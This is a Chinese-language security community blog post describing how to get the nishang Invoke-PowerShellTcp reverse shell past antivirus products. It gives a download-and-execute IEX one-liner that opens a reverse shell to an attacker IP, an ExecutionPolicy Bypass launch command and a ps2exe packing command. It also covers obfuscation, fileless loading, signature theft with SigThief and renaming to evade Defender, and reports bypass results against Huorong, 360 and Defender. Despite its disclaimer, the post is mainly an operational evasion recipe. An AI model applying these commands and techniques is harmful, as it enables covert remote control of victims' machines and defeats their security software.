PowerShell脚本反弹shell免杀

PowerShell脚本反弹shell免杀

PowerShell脚本反弹shell免杀-HackTwoHub社区
PowerShell脚本反弹shell免杀
此内容为付费阅读,请付费后查看
100积分
付费阅读
已售 2

宇宙安全声明:

本文仅用于学习交流和技术分享,文中所涉及到的任何技术均不得用于任何非法网络活动和未经授权的测试,请严格遵守法律法规,若有违反后果自负!!!

0x01 脚本功能测试

项目地址:

https://github.com/samratashok/nishang
https://github.com/shakenetwork/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

此脚本基于Tcp协议,可实现正反向shell连接,创建交互式会话。

远程加载

//注意区别web服务端口和tcp连接端口
IEX (New-Object Net.WebClient).DownloadString('http://ip:port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress ip -port 7777

图片[1]-PowerShell脚本反弹shell免杀 - HackTwoHub社区-HackTwoHub社区

本地加载

//在脚本根目录执行
IEX (Get-Content -Path .\Invoke-PowerShellTcp.ps1 -Raw); Invoke-PowerShellTcp -Reverse -IPAddress ip -Port 7777

image-20250826114233363

远程加载和本地加载均可正常执行,但是都过不了杀软。这个项目是几年前发布的,特征早就被各大安全厂商记录了,所以原脚本被杀很正常。

image-20250826114824621

0x02 免杀测试

由于杀软已经记录了脚本的特征,再加上其本身的一些恶意行为,导致原脚本基本无法正常使用。

笔者将一步步进行改进,尝试绕过杀软!

加密与分离加载

这里加密框架使用的是Invoke-Obfuscation,这个工具也是比较老的,但是它可以实现powershell命令或函数的重叠加密

项目地址:https://github.com/danielbohannon/Invoke-Obfuscation

使用Invoke-Obfuscation对执行命令和原脚本进行加密,详细命令参数不做赘述,可以参考项目使用文档。

image-20250827105456410

生成加密脚本encode_test.ps1后,测试功能(本地加载即可)

IEX (Get-Content -Path .\Invoke-PowerShellTcp.ps1 -Raw); Invoke-PowerShellTcp -Reverse -IPAddress ip -Port 7777

image-20250827105829806

功能没问题,接下来测试免杀效果

火绒安全

image-20250827110952209

火绒动静态全过,这里应该有点运气成分,笔者在前几次测试中动态是过不了火绒的。每次加密的参数都是随机的,火绒主要是检查文件内容,一般会报代码混淆器,这次不知道为啥没查出来,有点离谱直接过了。

360安全

image-20250827112715471

就离谱,360之前是没有过的,有点玄学了。

image-20250827113241533

Defender

defender静态过了,动态被拦截了。

image-20250827114126966

分离免杀

分离免杀其实就是远程加载,实现脚本不落地就可以执行。这样做的好处就是减少了杀软查杀的风险。将远程加载的命令打包加密成encode_star.ps1,将加密后的脚本encode_test.ps1放入云端,让encode_star.ps1远程执行脚本。因为encode_star.ps1中只含有启动命令的加密信息,所以静态一般没问题(最多报个代码混淆,其实encode_star.ps1不用加密也行,但是这样可能会暴露vps地址,建议不加密就做云函数)。至于动态取免杀决于恶意脚本的伪装成功与否。

加密启动命令image-20250828100849690

测试一下encode_star.ps1免杀效果,直接上云沙箱!

image-20250828101147542

image-20250828101232811

encode_star.ps1启动命令:

powershell.exe -ExecutionPolicy Bypass -NoExit -File encode_star.ps1

image-20250828101649620

打包exe+数字签名

为了方便执行,将encode_star.ps1打包成exe

powershell.exe Invoke-ps2exe .\source.ps1 .\target.exe

笔者这里加了微软的数字签名,过程不赘诉了,工具:SigThief-master

注意数字签名加了之后可能会有意想不到的效果,比如360检查到有数字签名,免杀效果会大幅提升。

但是defender看到用的微软的数签,免杀效果反而降低,不知道defender是不是能检测出数签是盗用的,反正我加了之后露头就秒。

image-20250828102629633

bpav.exe是没有数签版本,打包成exe后,免杀效果会有下降,这里我们的通过目标主要是defender和微步沙箱的查杀率。

image-20250828104624257

image-20250828105052041

不出意外的,没有过defender。仔细分析一下defender的报错,defender直接获取到了加密脚本解密后的函数名,由此我们可以推出,数字签名和代码加密大概率是过不了defender。

脚本特征修改

既然代码加密和加数签这种不痛不痒的操作过不了defender,那我们只好从代码入手了。

笔者这里修改了函数名变量名和启动参数。

image-20250828110856297

用defender测试一下,成功反弹shell

image-20250828114059095

加密+打包+上云

7b24cf659fdac10078a39d4c3286b534

7c6e9987a8e880483c9d141bac707f65

效果还不错。

© 版权声明
THE END
喜欢就支持一下吧
点赞16 分享
Sunean的头像-HackTwoHub社区
评论 抢沙发

请登录后发表评论

    暂无评论内容